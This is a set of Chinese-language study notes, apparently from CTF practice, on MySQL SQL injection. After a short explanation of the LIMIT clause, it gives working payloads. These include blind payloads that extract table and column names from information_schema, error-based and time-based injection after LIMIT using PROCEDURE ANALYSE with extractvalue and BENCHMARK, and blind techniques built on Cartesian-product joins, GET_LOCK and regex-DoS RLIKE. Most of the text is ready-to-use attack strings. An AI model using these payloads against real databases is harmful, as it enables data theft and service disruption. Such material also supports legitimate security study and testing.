limit 基础
limit 查询 几条或者中间几行数据
select* from table_name limit [offset,] rows | rows offset offset;
limit 子句可以被用于强制select 语句返回指定的记录数。
limit接受一个或两个数字参数。参数必须是一个整数常量。
例如
SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15,从5+1开始算
SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.从95+1开始算
SELECT * FROM table LIMIT 5; //检索前 5 个记录行
爆表
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
爆字段长
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
爆字段
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
limit注入
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
//上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了
在 limit后面可以更两个函数,PROCEDURE 和 INTO ,后一个除非有写入shell的权限,否则是无法利用的。
Ex:
select*from limittest limit 1,[可控点] or select ... limit [可控点]
在Limit后面 可以用 procedure analyse()这个子查询
而且只能用extractvalue 和 benchmark 函数进行延时
报错注入
select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
updatexml+benchmark也是可以的,这两个函数虽然返回结果相同,但是还是有区别的。
时间注入
select * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);
benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)
五种盲注姿势
笛卡儿积盲注
select count(*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;
select * from ctf_test where user='1' and 1=1 (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C)
select * from ctf_test where user='1' and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
GET_LOCK盲注
如果我们已经开了一个session,对关键字进行了get_lock,那么再另外开一个session再次对关键进行get_lock,就会延时我们指定的时间
条件:同时开两个session进行注入
select get_lock('lihuaiqiu',1);
select get_lock('lihuaiqiu',5);
select * from ctf_test where user='0' and 1=1 and get_lock('lihuaiqiu',2);
select * from ctf_test where user='0' and 1=0 and get_lock('lihuaiqiu',2);
正则DOS RLIKE注入
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和benchmark注入类似
select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
